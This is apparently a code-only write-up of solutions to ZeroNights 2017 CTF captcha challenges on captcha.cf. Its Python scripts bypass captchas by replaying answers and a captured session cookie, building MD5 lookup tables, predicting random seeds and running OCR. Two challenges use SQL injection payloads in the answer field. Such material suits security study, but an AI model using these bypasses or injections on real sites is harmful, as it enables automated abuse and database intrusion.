Задачки с ZeroNights 2017: стань королем капчи
- суббота, 16 декабря 2017 г. в 03:13:23
def chal2():
def load_captcha_images():
url = "http://captcha.cf/static/ciferki/{}.png"
for i in range(1, 16):
resp = requests.get(url.format(i))
with open('captcha1/{}.png'.format(i), 'wb') as f:
f.write(resp.content)
gods = 'Zeus Hera Aphrodite Apollo Ares Leto Athena Phobos Dionysus Hades Triton Hermes Eos Poseidon Morpheus'
captcha_solutions = gods.split()
resp = s.post('http://captcha.cf/challenge/2/start', proxies=proxies)
resp = s.get('http://captcha.cf/challenge/2', proxies=proxies)
for i in range(50):
captcha_match = re.search(r'<img src="/static/ciferki/(\d+).png"/>', resp.text)
if not captcha_match:
print(resp.text)
captcha_num = int(captcha_match.group(1))
print('captcha_num:', captcha_num)
resp = s.post(
'http://captcha.cf/captcha',
data={'answer': captcha_solutions[captcha_num - 1]},
proxies=proxies)
1+1=2 |
2+1=3 |
3+1=4 |
4+1=5 |
1+2=3 |
2+2=4 |
3+2=5 |
4+2=6 |
1+3=4 |
2+3=5 |
3+3=6 |
4+3=7 |
1+4=5 |
2+4=6 |
3+4=7 |
4+4=8 |
def chal3():
resp = s.post('http://captcha.cf/challenge/3/start', proxies=proxies)
for i in range(20):
resp = s.post('http://captcha.cf/captcha', data={'answer': 5}, proxies=proxies)
time.sleep(65)
<b>def</b> chal4():
resp = s.post('http://captcha.cf/challenge/4/start', proxies=proxies)
<b>for</b> i <b>in</b> range(20):
<b>print</b>(i)
s.post('http://captcha.cf/captcha', data={'answer': '0C8X4', 'correct': '1'}, allow_redirects=False, proxies=proxies)
def chal5():
resp = s.post('http://captcha.cf/challenge/5/start', proxies=proxies)
for i in range(20):
print(i)
s.post('http://captcha.cf/captcha', data={'answer': '55', 'kod':'b53b3a3d6ab90ce0268229151c9bde11'}, allow_redirects=False, proxies=proxies)
def chal6():
resp = s.post('http://captcha.cf/challenge/6/start')
for i in range(20):
m = re.search(r'static/regenbogen/(.*?)\.png', resp.text)
hash_ = m.group(1)
word = sh.grep(hash_, 'md5_tables/' + hash_[0] + '.md5').split(':')[1].strip()
print(hash_, word)
resp = s.post('http://captcha.cf/captcha', data={'answer': word})
alphabet = string.ascii_lowercase + string.digits
def gen_md5_table():
a = string.ascii_uppercase + string.digits
table = itertools.product(a, repeat=5)
f = open('md5_table', 'w')
for i in table:
s = hashlib.md5(bytes(''.join(i), 'ascii')).hexdigest() + ':' + ''.join(i)
print(s)
f.write(s + '\n')
f.close()
<i># call gen_md5_table
# in bash: sort md5_table > md5_sorted
# in bash: mkdir md5_tables
# call split_to_files</i>
def split_to_files():
file_handlers = {}
for a in alphabet:
file_handlers[a] = open('md5_tables/' + a +'.md5', 'w')
with open('md5_sorted') as f:
for line in f:
file_handlers[line[0]].write(line)
def chal7():
s.post('http://captcha.cf/challenge/7/start', proxies=proxies)
for i in range(1, 21):
resp = s.get('http://captcha.cf/captcha/image', proxies=proxies)
image_name = '/tmp/{}.png'.format(i)
with open(image_name, 'wb') as f:
f.write(resp.content)
text = pytesseract.image_to_string(Image.open(image_name), config='psm -7').replace(' ', '')
print('text:', text)
s.post('http://captcha.cf/captcha', data={'answer': text}, allow_redirects=False, proxies=proxies)
def chal8():
resp = s.post('http://captcha.cf/challenge/8/start', proxies=proxies)
for i in range(20):
m = re.search(r'/static/random/42_(\d+).png', resp.text)
r = m.group(1)
random.seed(int(r))
print('r:', r)
ans = random.randrange(10000,100000)
resp = s.post('http://captcha.cf/captcha', data={'answer': ans}, proxies=proxies)
def chal9():
resp = s.post('http://captcha.cf/challenge/9/start', proxies=proxies)
for i in range(20):
cookies = {'session':'eyJjYXB0Y2hhIjoiZjhkYTJlYjY4ZmU2YmRjZmY4YTk1NzJiNjMxNGQ2YmMiLCJ1c2VybmFtZSI6ImRtaXRyeS5tYW50aXNAZ21haWwuY29tIn0.DO94IQ.gHUIa3tyIgQ-JdpQ-O0GwUerTSI'}
requests.post('http://captcha.cf/captcha', data={'answer': 'ICF4G'}, allow_redirects=False, proxies=proxies, cookies=cookies)
11111’ union select result from sqli.captcha where id=’<id_from_page_here>’ -- 1
def chal10():
resp = s.post('http://captcha.cf/challenge/10/start')
for i in range(20):
m = re.search(r'name="id" value="(.*?)">', resp.text)
id_ = m.group(1)
print(id_)
data = {
'answer': "asdadsdsa' union select result from sqli.captcha where id='{}' — 1".format(id_),
'id': id_
}
resp = s.post('http://captcha.cf/captcha', data=data)
def chal11():
resp = s.post('http://captcha.cf/challenge/11/start', proxies=proxies)
for i in range(20):
m = re.search(r'name="id" value="(.*?)">', resp.text)
cid = m.group(1)
data = { 'answer': "asdadsdsa' or id='{}' -- 1".format(cid), 'id': cid}
resp = s.post('http://captcha.cf/captcha', data=data, proxies=proxies)